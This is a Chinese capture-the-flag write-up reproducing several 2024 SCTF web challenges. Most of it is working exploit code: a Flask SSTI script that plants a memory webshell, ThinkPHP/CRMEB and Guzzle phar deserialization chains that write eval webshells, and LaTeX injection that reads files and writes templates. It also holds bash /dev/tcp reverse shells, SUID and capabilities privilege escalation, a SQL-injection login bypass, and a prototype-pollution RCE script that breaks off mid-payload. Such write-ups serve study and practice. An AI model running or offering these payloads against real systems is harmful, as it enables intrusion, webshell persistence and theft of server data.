2024 SCTF 部分题目复现

ezRender

Hint:

ulimit -n =2048

cat /etc/timezone : UTC

ulimit 特性

源码 User.py中的写法刚开始给我看一愣,主要是 handler 和 setSecret 这两部分到底是什么意思。handler 打开/dev/random的句柄,setSecret 获取开头的 22 个字节,然后 hex 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import time
class User():
def __init__(self,name,password):
self.name=name
self.pwd = password
self.Registertime=str(time.time())[0:10]
self.handle=None

self.secret=self.setSecret()

def handler(self):
self.handle = open("/dev/random", "rb")
def setSecret(self):
secret = self.Registertime
try:
if self.handle == None:
self.handler()
secret += str(self.handle.read(22).hex())
except Exception as e:
print("this file is not exist or be removed")
return secret

ulimit 是修改启动线程所占用的资源。其中-n指的是同一时间允许最多开启的文件数量。这里的问题是 12 行的代码 open 之后没有 close。ulimit 到达了限制的 2048 就会报错。其中 setSecret 这部分函数会在 POST 给 register 路由时实例化的时候调用。因此我们这里调用超过 2048 次获取到报错信息。

先发 2050 个包占满 fd,再创建新用户,在本地创建的 key 值和远端应该只差一点点,所以可以爆破出他的 key 值。正常来说是直接可以用这个 key 生成的 admin 登录的。

但是由于 ulimit 满了之后__builtins__会报错,需要删除几个用户使得用户数量少于 2048 个。

RCE 的时候不出网,所以需要写入内存马。这里的 poc 是抄的我 B 神的。关注 Boogipop 谢谢喵😸。

1
__import__('flask').current_app._got_first_request=False;__import__('flask').current_app.add_url_rule('/shell','shell',lambda:__import__('os').popen(__import__('flask').request.args.get('cmd','/readflag')).read())
1
{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__getitem__("__builtins__").__getitem__("ex"+"ec")("import base64;ex"+"ec(base64.b64decode(b'X19pbXBvcnRfXygnZmxhc2snKS5jdXJyZW50X2FwcC5fZ290X2ZpcnN0X3JlcXVlc3Q9RmFsc2U7X19pbXBvcnRfXygnZmxhc2snKS5jdXJyZW50X2FwcC5hZGRfdXJsX3J1bGUoJy9zaGVsbCcsJ3NoZWxsJyxsYW1iZGE6X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdmbGFzaycpLnJlcXVlc3QuYXJncy5nZXQoJ2NtZCcsJy9yZWFkZmxhZycpKS5yZWFkKCkp').decode())")}}

或者这是其他的 poc:

1
"(g.pop.__globals__.__builtins__.__getitem__('e''xec'))("import base64;ex"+"ec(base64.b64decode('X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLFtdKS5hcHBlbmQobGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCcvcmVhZGZsYWcnKS5yZWFkKCkp'));")"

Mypoc

看了好几份 wp 里面的 poc 都没从头到尾打通,所以照着写了个完整 poc,直接就可以一把嗦,实在没看懂前面的解释看这个应该就能懂了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
"""
@Project : _media_file_task_495aa9d7-4d63-4f4d-9b17-7a241a9173d5
@File : exp_myself
@desc :
@Author : @Natro92
@Date : 2024/10/2 下午3:58
@Blog : https://natro92.fun
@Contact : natro92@natro92.fun
"""
import base64
import json
import time
from concurrent.futures import ThreadPoolExecutor

import jwt
import requests

tar_url = "1.95.40.5:30501"

tar_reg_url = 'http://' + tar_url + '/register'
tar_login_url = 'http://' + tar_url + '/login'
tar_remove_url = 'http://' + tar_url + '/removeUser'
tar_admin_url = 'http://' + tar_url + '/admin'
tar_shell_url = 'http://' + tar_url + '/shell'


def make_register_request(i):
res = requests.post(tar_reg_url, json={"username": "admin" + str(i), "password": "123456"})
print(str(i) + " " + res.text)
assert "Successfully Removed:" + "admin" + str(i) in res.text, res.text
return res


def make_remove_request(i):
res = rs.post(tar_remove_url, data={'username': "admin" + str(i)}, cookies={'Token': token})
# print(res.text)
return res


# * 创建2048个以上用户获取到返回Date
# print("[*] 创建2048个以上用户获取到Date")
with ThreadPoolExecutor(max_workers=10) as executor:
for i in range(2051):
executor.submit(make_register_request, i)

# * 超过2048占满fd获取目标jwt
print("[*] 超过2048占满fd获取目标jwt")
key = str(time.time())[0:10]
res = requests.post(tar_reg_url, json={"username": "natro92", "password": "123456"})
token = \
requests.post(tar_login_url, json={"username": "natro92", "password": "123456"}).headers['Set-Cookie'].split(
'Token=')[
1]
jwtData = (json.loads(base64.b64decode(token))["secret"])
print(jwtData)

# * 爆破出jwtData所用的时间key
for i in range(int(key) - 2000, int(key) + 2000):
try:
print(jwt.decode(jwtData, str(i), algorithms='HS256'))
key = str(i)
except:
pass
print("[*] 爆破出目标key:" + key)
secret = {'name': 'natro92', 'is_admin': '1'}
verify_c = jwt.encode(secret, key, algorithm='HS256')
infor = {'name': 'natro92', 'secret': verify_c}
token = base64.b64encode(json.dumps(infor).encode()).decode()
print("[*] admin用户token:" + token)

# * 检测是否为正常admin用户
rs = requests.Session()
res = rs.get(tar_admin_url, cookies={'Token': token})
if "Welcome to admin page!! natro92" in res.text:
print("[*] 检测是正常admin用户")
else:
print("[*] 检测失败")
assert "Wrong user"

# * 删除用户使数量少于2048
with ThreadPoolExecutor(max_workers=10) as executor:
for i in range(900, 1000):
executor.submit(make_remove_request, i)
print("[*] 删除用户使数量少于2048")

# ! RCE
shellcode = '''
__import__('flask').current_app._got_first_request=False;__import__('flask').current_app.add_url_rule('/shell','shell',lambda:__import__('os').popen(__import__('flask').request.args.get('cmd','/readflag')).read())
'''.strip()

shell_base = base64.b64encode(shellcode.encode()).decode()
# 爆破目标方法位置。
for i in range(80, 81):
code = '''
{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(DATA).__init__.__globals__.__getitem__("__builtins__").__getitem__("ex"+"ec")("import base64;ex"+"ec(base64.b64decode(b'XXX').decode())")}}
'''.strip()

code = code.replace("DATA", str(i))
code = code.replace("XXX", shell_base)

resp = rs.post(tar_admin_url, data={"code": code}, cookies={'Token': token})
if resp.status_code != 500:
print(i, resp.text)
print('[!] 噫,道爷我成了')
resp = rs.get(tar_shell_url, params={'cmd': '/readflag'}, cookies={'Token': token})
print(resp.text)
break

Simpleshop

Recently, my e-commerce site has been illegally invaded, hackers through a number of means to achieve the purchase of zero actually free of charge to buy a brand new Apple / Apple iPad, you can help me to find out where the problem is?

http://1.95.73.253

http://1.95.46.1

hint1: the ultimate goal is to enable rce to read the contents of the /flag file.

hint2: the foreground user can achieve rce and background has nothing to do, so it is pointless to break the background password.

hint3: source code on github/gitee latest version you can try to audit it

https://gitee.com/ZhongBangKeJi/CRMEB

https://github.com/crmeb/CRMEB

根据源码能注意到是基于 thinkphp 开发的。

有文件上传点位于crmeb/app/adminapi/controller/PublicController.php下,以及\app\api\controller\v1\PublicController::get_image_base64下。

传参 image 和 code 两个参数,获取 url 然后检查格式,如果有缓存就使用缓存,否则就从远程下载,再转成 base64。

put_image 保存图片,会检测后缀名,然后又将远程图片下载下来。

然后通过 readfile 函数来解析获取的图片。这里可以触发 phar 的解析。

因此可以通过构造一个图片马,再通过 phar 解析了。

反序列化分析

crmeb 最新版本是基于 thinkphp6 开发的, 这里就通过 tp6 的反序列化链来打。全局搜索入口方法__construct__destruct方法,这里不懂为什么 phpstorm 会自动将 vendor 下面的内容作为 exclude 文件夹,搜索的时候就不会自动索引,而 vscode 可以正常搜索。

而这种就是被 exclude 了的文件夹。需要取消排除才能正常被搜索。

位于vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Collection/Cells.php\PhpOffice\PhpSpreadsheet\Collection\Cells::__construct

这个所在的 PhpSpreadsheet 库经常被用来处理 Excel 文件。这里主要用的就是这个 cache 参数。

其中调用的__destruct函数调用 cache 的子方法。

然后就是位于vendor/topthink/framework/src/think/log/Channel.php下的\think\log\Channel::__call方法,到 log 再到 record 方法。

主要就是最后一部分的对 lazy 的判断,这里只需要将 this->lazy 赋值个 false 就能调用到 save 方法。

然后通过后面的后半部分的 logger 的 save 方法

然后调用位于vendor/topthink/framework/src/think/log/driver/Socket.php\think\log\driver\Socket::save方法。

首先是 check 方法,保证不能退出,继续下去。this->check 返回的是 true。一个是嵌套里面可以得到,另一个是走到 else。

按照要求首先需要 tabid 或者 force_client_id 不为空二者满足其一即可,后者比较容易满足。然后就是判断allowClientIds是否为空,如果为空,就可以走到后半部分得到 true。

然后回到刚才的 save 方法。我们可以通过为子对象的 instance 添加 request 参数使得将 currentUri 赋值 $this->app->request->url(true)。然后再通过判断 config 下的 format_head 的非空进入到 invoke。

从这个 invoke 就可以调用,这个 invoke 在 Container 中有定义\think\Container::invoke,而且这个 Container 被 App 所继承。将传入的对象和方法给 invokeFunction 了。

invokeFunction 的意义就很明确了,执行函数。

正好可以整合掉上面的要求,将 instances 的参数添加一个 request 的键值对。但是目前为止,我们还没有利用点,我们回到刚才的 Request 的位置,发现里面有 url 方法。注意前面给 complete 传值为 true 了。

url 先不着急确定。调用下面的 domain 方法进去看看。

scheme 方法是判断是否是 http 和 host 方法确定 host,这里就不多解释了。

然后返回到刚才的 invoke 的位置,但这现在还是没法执行或者写入,之前我们只看了这个 invoke 方法,但是没有注意这个 display,我们可以在 vendor/topthink/framework/src/think/view/driver/Php.php看到 \think\view\driver\Php::display方法。之前调用的就是这个方法,将 url 作为参数调用。这里看到了命令调用,就是先闭合,然后再执行。

这里面前半部分的闭合不会影响后半部分。

因此我们可以尝试写入个马进去。

文件上传

根据app/route下的路由文件可以知道可以从api/upload/image这个路由上传

对应的:

其中标红的部分会对文件进行检测。

很容易就能找到 upload 的 config 的所在位置:config/upload.php

后面一想,这也不知道对面改成了什么。也没啥用。按照上面的逻辑写下 PoC 先:

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

namespace PhpOffice\PhpSpreadsheet\Collection {
class Cells {
private $cache;

public function __construct($evil) {
$this->cache = $evil;
}
}
}

namespace think\log {
class Channel {
protected $logger;
protected $lazy = false;

public function __construct($evil) {
$this->logger = $evil;
}
}
}

namespace think\log\driver {
class Socket {
protected $app;
protected $config;

public function __construct() {
$this->config = [
'debug' => true,
'force_client_ids' => 'Not Null',
'allow_client_ids' => [],
'format_head' => [new \think\view\driver\Php(), 'display'],
];
$this->app = new \think\App();
}

}
}

namespace think {
class App {
protected $instances = [];
public function __construct() {
$this->instances = [
'think\Request' => new Request(),
];
}
}

class Request {
protected $url;
public function __construct() {
$this->url = '<?php file_put_contents("/var/www/public/uploads/store/comment/20241003/natro92.php"),\'<?php eval($_POST[1]); ?>\', FILE_APPEND); ?>';
}
}
}

namespace think\view\driver {
class Php {
}
}


namespace {
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new PhpOffice\PhpSpreadsheet\Collection\Cells($b);
var_dump($a);

ini_set('phar.readonly', 0);
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString('natro92.jpg', 'eviltest');
$phar->stopBuffering();
}


运行之后就能得到 poc.phar 但是上传时能发现需要账号,牛魔后面才发现 robots.txt 里面有一个 html 提供了注册页面/A_letter_to_ctfer.html

12345612312:admin123

而且登上之后也不能用 phar 后缀上传先将后缀改成 natro92.jpg,再用 gzip 压一圈即可。

1
gzip natro92.jpg

然后再 natro92.jpg.gz 改成 natro92.jpg 上传。

然后触发,触发时注意双写绕过:

蚁剑成功连接,但是遇到 disable_function。

CNext

GitHub - ambionics/cnext-exploits: Exploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc’s iconv()

test1232.php中写入:

1
2
3
4
<?php
@mkdir('img');chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
$data = file_get_contents($_POST['file']);
echo "File contents: $data";

反弹 shell:

1
bash -c "bash -i >& /dev/tcp/xxx/7777 0>&1"

这个我搁 ps 和 cmd 都没成功,后面用 wsl 成功了。

然后就是 suid 提权,grep 读 flag。

1
find / -perm -u=s -type f 2>/dev/null

PHP-FPM

提权那里也可以直接用 PHP-FPM 来绕过。

但是这里有一个坑,你必须在根目录的 shell,也就是在 public 的 shell 执行一次这个,否则我这个图里执行的这个.antproxy.php 就回去找 public 目录的 shell。

PS

这个复现之后再打的时候就又打不通了,可能是我这 poc 哪里有问题,实际上我用网上的几个 poc 也没通,不清楚为什么。

除了这个链子,还有一个

1
require __DIR__ . '/vendor/autoload.php';use GuzzleHttp\Cookie\FileCookieJar;use GuzzleHttp\Cookie\SetCookie;$obj = new FileCookieJar('public/shell.php');$payload = '<?php eval(filter_input(INPUT_POST,a)); ?>';$obj->setCookie(new SetCookie([    'Name' => 'foo',"Value"=>"1",    'Domain' => $payload,    "a"=> 'bar',    'Expires' => time()]));$phar = new \Phar("1.phar");$phar->startBuffering();$phar->setStub('GIF89a'."__HALT_COMPILER();");$phar->setMetadata($obj);$phar->addFromString("test.txt", "test");$phar->stopBuffering();?>

似乎这个 FIleCookieJar 是打 phar 的老客户了。哪天找时间看看捏。

ez_tex

PayloadsAllTheThings/LaTeX Injection/README.md at master · swisskyrepo/PayloadsAllTheThings

读文件 SSTI

这 latex 老在国外的 ctf 里面看见,然而没怎么用过捏。

允许上传 tex,编译,编译的文件名有限制。编译结果只有成功或者失败,没有文件。

提示了 log 页面,访问发现:

将读取的文件写入到这个 app.log 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
\documentclass[]{article}
\begin{document}

\newread\infile
\openin\infile=main.py
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.log
\loop\unless\ifeof\infile
\imm^^65diate\read\infile to\line
\imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
123
\end{document}

但是不让啊传,所以需要 bypass 下。

将读出结果稍微格式化下

读出 main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import os
import logging
import subprocess
from flask import Flask, request, render_template, redirect
from werkzeug.utils import secure_filename

app = Flask(__name__)

if not app.debug:
handler = logging.FileHandler('app.log')
handler.setLevel(logging.INFO)
app.logger.addHandler(handler)

UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

os.makedirs(UPLOAD_FOLDER, exist_ok=True)

ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'}

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def compile_tex(file_path):
output_filename = file_path.rsplit('.', 1)[0] + '.pdf'
try:
subprocess.check_call(['pdflatex', file_path])
return output_filename
except subprocess.CalledProcessError as e:
return str(e)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)

if file and allowed_file(file.filename):
content = file.read()
try:
content_str = content.decode('utf-8')
except UnicodeDecodeError:
return 'File content is not decodable'
for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate', 'app', 'flag']:
if bad_char in content_str:
return 'File content is not safe'
file.seek(0)
filename = secure_filename(file.filename)
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)
return 'File uploaded successfully, And you can compile the tex file'
else:
return 'Invalid file type or name'

@app.route('/compile', methods=['GET'])
def compile():
filename = request.args.get('filename')

if not filename:
return 'No filename provided', 400

if len(filename) >= 7:
return 'Invalid file name length', 400

if not filename.endswith('.tex'):
return 'Invalid file type', 400

file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
print(file_path)
if not os.path.isfile(file_path):
return 'File not found', 404

output_pdf = compile_tex(file_path)
if output_pdf.endswith('.pdf'):
return "Compilation succeeded"
else:
return 'Compilation failed', 500

@app.route('/log')
def log():
try:
with open('app.log', 'r') as log_file:
log_contents = log_file.read()
return render_template('log.html', log_contents=log_contents)
except FileNotFoundError:
return 'Log file not found', 404

if __name__ == '__main__':
app.run(host='0.0.0.0', port=3000, debug=False)

能注意到 log.html 可能有 SSTI。读下看看。

果然有,那么就直接在这个文件里面写入反弹 shell 就行了。

1
2
3
4
5
6
7
8
9
\documentclass[]{article}
\begin{document}

\newwrite\t
\openout\t=templates^^2flog.html
\write\t{{{lipsum.__globals__['os'].popen('bash -c "^^2fbin^^2fbash -i >& ^^2fdev^^2ftcp^^2fip^^2f7777 0>&1"').read()}}}
\newpage
123
\end{document}

得在第一次访问 log 前写入。

但是根目录的 flag 输出的是 env

1
HOSTNAME=9711508053a5PYTHON_VERSION=3.7.17PWD=/tmpPYTHON_SETUPTOOLS_VERSION=57.5.0HOME=/rootLANG=C.UTF-8GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DTERM=xtermSHLVL=1PYTHON_PIP_VERSION=23.0.1PYTHON_GET_PIP_SHA256=45a2bb8bf2bb5eff16fdd00faef6f29731831c7c59bd9fc2bf1f3bed511ff1fePYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/jerrywww:/home/wwwOLDPWD=/app/ez_tex_=/usr/bin/cat

python 具有 root 的权限。

拿下全交互 shell,其实可以直接 vshell 的。

1
2
3
4
5
6
7
echo $TERM
Ctrl+Z
stty raw -echo
fg
reset
tmux-256color
python -c 'import pty;pty.spawn("/bin/bash")'

Capabilities 提权

Linux提权之:利用capabilities提权 - f_carey - 博客园 (cnblogs.com)

1
getcap -r / 2>/dev/null
1
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

注意这里面不应该用 python3,因为 python3 不具备这个权限,而 python3.11 可以。

设置当前进程的用户 id。

PS

原来可以通过/flag 得到 jerrywww 的用户名。爆破到 jerrywww 的密码。O.o

jerrywww:P@ssw0rd

SycServer2.0

扫下

得到 api:

1
1.95.87.154:23473/ExP0rtApi?v=static&f=1.jpeg

需要先拿到 token。JSEncrypt 前端 waf, 在登录的 js 把 waf 去掉然后用万能密码登录。

将 wafsql 改成空。

1
2
3
4
wafsql = function(str) {
console.log(str);
return str;
}

然后用万能密码登录下:

admin:1'or'1'='1

再回刚才的 api 利用。读取下 app.js/ExP0rtApi?v=.&f=app.js

cyberchef 解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
const express = require('express');
const fs = require('fs');
var nodeRsa = require('node-rsa');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const SECRET_KEY = crypto.randomBytes(16).toString('hex');
const path = require('path');
const zlib = require('zlib');
const mysql = require('mysql')
const handle = require('./handle');
const cp = require('child_process');
const cookieParser = require('cookie-parser');

const con = mysql.createConnection({
host: 'localhost',
user: 'ctf',
password: 'ctf123123',
port: '3306',
database: 'sctf'
})
con.connect((err) => {
if (err) {
console.error('Error connecting to MySQL:', err.message);
setTimeout(con.connect(), 2000); // 2秒后重试连接
} else {
console.log('Connected to MySQL');
}
});

const {response} = require("express");
const req = require("express/lib/request");

var key = new nodeRsa({ b: 1024 });
key.setOptions({ encryptionScheme: 'pkcs1' });

var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----`;
var privatePem = `-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27
PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l
i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi
6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI
lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY
Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61
khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT
6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78
dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG
mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye
KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh
UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l
zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg
xu/vfQ0A1jHRNC7t
-----END PRIVATE KEY-----`;

const app = express();
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.use(cookieParser());

var Reportcache = {}

function verifyAdmin(req, res, next) {
const token = req.cookies['auth_token'];

if (!token) {
return res.status(403).json({ message: 'No token provided' });
}

jwt.verify(token, SECRET_KEY, (err, decoded) => {
if (err) {
return res.status(403).json({ message: 'Failed to authenticate token' });
}

if (decoded.role !== 'admin') {
return res.status(403).json({ message: 'Access denied. Admins only.' });
}

req.user = decoded;
next();
});
}

app.get('/hello', verifyAdmin ,(req, res)=> {
res.send('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />');
});

app.get('/config', (req, res) => {
res.json({
publicKey: publicPem,
});
});

var decrypt = function(body) {
try {
var pem = privatePem;
var key = new nodeRsa(pem, {
encryptionScheme: 'pkcs1',
b: 1024
});
key.setOptions({ environment: "browser" });
return key.decrypt(body, 'utf8');
} catch (e) {
console.error("decrypt error", e);
return false;
}
};

app.post('/login', (req, res) => {
const encryptedPassword = req.body.password;
const username = req.body.username;

try {
passwd = decrypt(encryptedPassword)
if(username === 'admin') {
const sql = `select (select password from user where username = 'admin') = '${passwd}';`
con.query(sql, (err, rows) => {
if (err) throw new Error(err.message);
if (rows[0][Object.keys(rows[0])]) {
const token = jwt.sign({username, role: username}, SECRET_KEY, {expiresIn: '1h'});
res.cookie('auth_token', token, {secure: false});
res.status(200).json({success: true, message: 'Login Successfully'});
} else {
res.status(200).json({success: false, message: 'Errow Password!'});
}
});
} else {
res.status(403).json({success: false, message: 'This Website Only Open for admin'});
}
} catch (error) {
res.status(500).json({ success: false, message: 'Error decrypting password!' });
}
});

app.get('/ExP0rtApi', verifyAdmin, (req, res) => {
var rootpath = req.query.v;
var file = req.query.f;

file = file.replace(/\.\.\//g, '');
rootpath = rootpath.replace(/\.\.\//g, '');

if(rootpath === ''){
if(file === ''){
return res.status(500).send('try to find parameters HaHa');
} else {
rootpath = "static"
}
}

const filePath = path.join(__dirname, rootpath + "/" + file);

if (!fs.existsSync(filePath)) {
return res.status(404).send('File not found');
}
fs.readFile(filePath, (err, fileData) => {
if (err) {
console.error('Error reading file:', err);
return res.status(500).send('Error reading file');
}

zlib.gzip(fileData, (err, compressedData) => {
if (err) {
console.error('Error compressing file:', err);
return res.status(500).send('Error compressing file');
}
const base64Data = compressedData.toString('base64');
res.send(base64Data);
});
});
});

app.get("/report", verifyAdmin ,(req, res) => {
res.sendFile(__dirname + "/static/report_noway_dirsearch.html");
});

app.post("/report", verifyAdmin ,(req, res) => {
const {user, date, reportmessage} = req.body;
if(Reportcache[user] === undefined) {
Reportcache[user] = {};
}
Reportcache[user][date] = reportmessage
res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});

app.get('/countreport', (req, res) => {
let count = 0;
for (const user in Reportcache) {
count += Object.keys(Reportcache[user]).length;
}
res.json({ count });
});

//查看当前运行用户
app.get("/VanZY_s_T3st", (req, res) => {
var command = 'whoami';
const cmd = cp.spawn(command ,[]);
cmd.stdout.on('data', (data) => {
res.status(200).end(data.toString());
});
})

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"dependencies": {
"body-parser": "^1.20.3",
"cookie-parser": "^1.4.6",
"crypto": "^1.0.1",
"express": "^4.21.0",
"jsonwebtoken": "^9.0.2",
"mysql": "^2.18.1",
"node-rsa": "^1.1.1",
"path": "^0.12.7",
"require-in-the-middle": "^7.4.0"
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
var ritm = require('require-in-the-middle');
var patchChildProcess = require('./child_process');

new ritm.Hook(
['child_process'],
function (module, name) {
switch (name) {
case 'child_process': {
return patchChildProcess(module);
}
}
}
);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function patchChildProcess(cp) {

cp.execFile = new Proxy(cp.execFile, { apply: patchOptions(true) });
cp.fork = new Proxy(cp.fork, { apply: patchOptions(true) });
cp.spawn = new Proxy(cp.spawn, { apply: patchOptions(true) });
cp.execFileSync = new Proxy(cp.execFileSync, { apply: patchOptions(true) });
cp.execSync = new Proxy(cp.execSync, { apply: patchOptions() });
cp.spawnSync = new Proxy(cp.spawnSync, { apply: patchOptions(true) });

return cp;
}

function patchOptions(hasArgs) {
return function apply(target, thisArg, args) {
var pos = 1;
if (pos === args.length) {
args[pos] = prototypelessSpawnOpts();
} else if (pos < args.length) {
if (hasArgs && (Array.isArray(args[pos]) || args[pos] == null)) {
pos++;
}
if (typeof args[pos] === 'object' && args[pos] !== null) {
args[pos] = prototypelessSpawnOpts(args[pos]);
} else if (args[pos] == null) {
args[pos] = prototypelessSpawnOpts();
} else if (typeof args[pos] === 'function') {
args.splice(pos, 0, prototypelessSpawnOpts());
}
}

return target.apply(thisArg, args);
};
}

function prototypelessSpawnOpts(obj) {
var prototypelessObj = Object.assign(Object.create(null), obj);
prototypelessObj.env = Object.assign(Object.create(null), prototypelessObj.env || process.env);
return prototypelessObj;
}

module.exports = patchChildProcess;

env 利用

Abusing Environment Variables

网鼎杯2023线下半决赛突破题Errormsg复现 - VanZY’s Blog

通过污染 env 和 shell 环境变量来进行 rce。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests

url = "1.95.87.154:30497"

login_url = "http://" + url + "/login"
add_report_url = "http://" + url + "/report"
shell_url = "http://" + url + "/VanZY_s_T3st"

rs = requests.session()


def login():
login_json = {
"username": "admin",
"password": "TL4gor2C+zygSaheIgd0R5Z0F9VKIS6tw0MTW7d+4L8Qv6uYMhxhgmnJdxldA9BiGZ5iTMaQm0dO31rW/lPA6zSRrnmqpFYXY0BQfk6ldK6zZyfdWlYYJYp8UekyldBX1NHSbg2MKJe6/JRKnSLLztZeb3M+4kDR/jp6gLXt4d8=",
}
resp = rs.post(login_url, json=login_json)
print(resp.headers['Set-Cookie'])


def add_report(jsonp):
resp = rs.post(add_report_url, json=jsonp)

def get_shell():
resp = rs.get(shell_url)


payload = {
"user": "__proto__",
"date": "2",
"reportmessage": {
"shell": "/proc/self/exe",
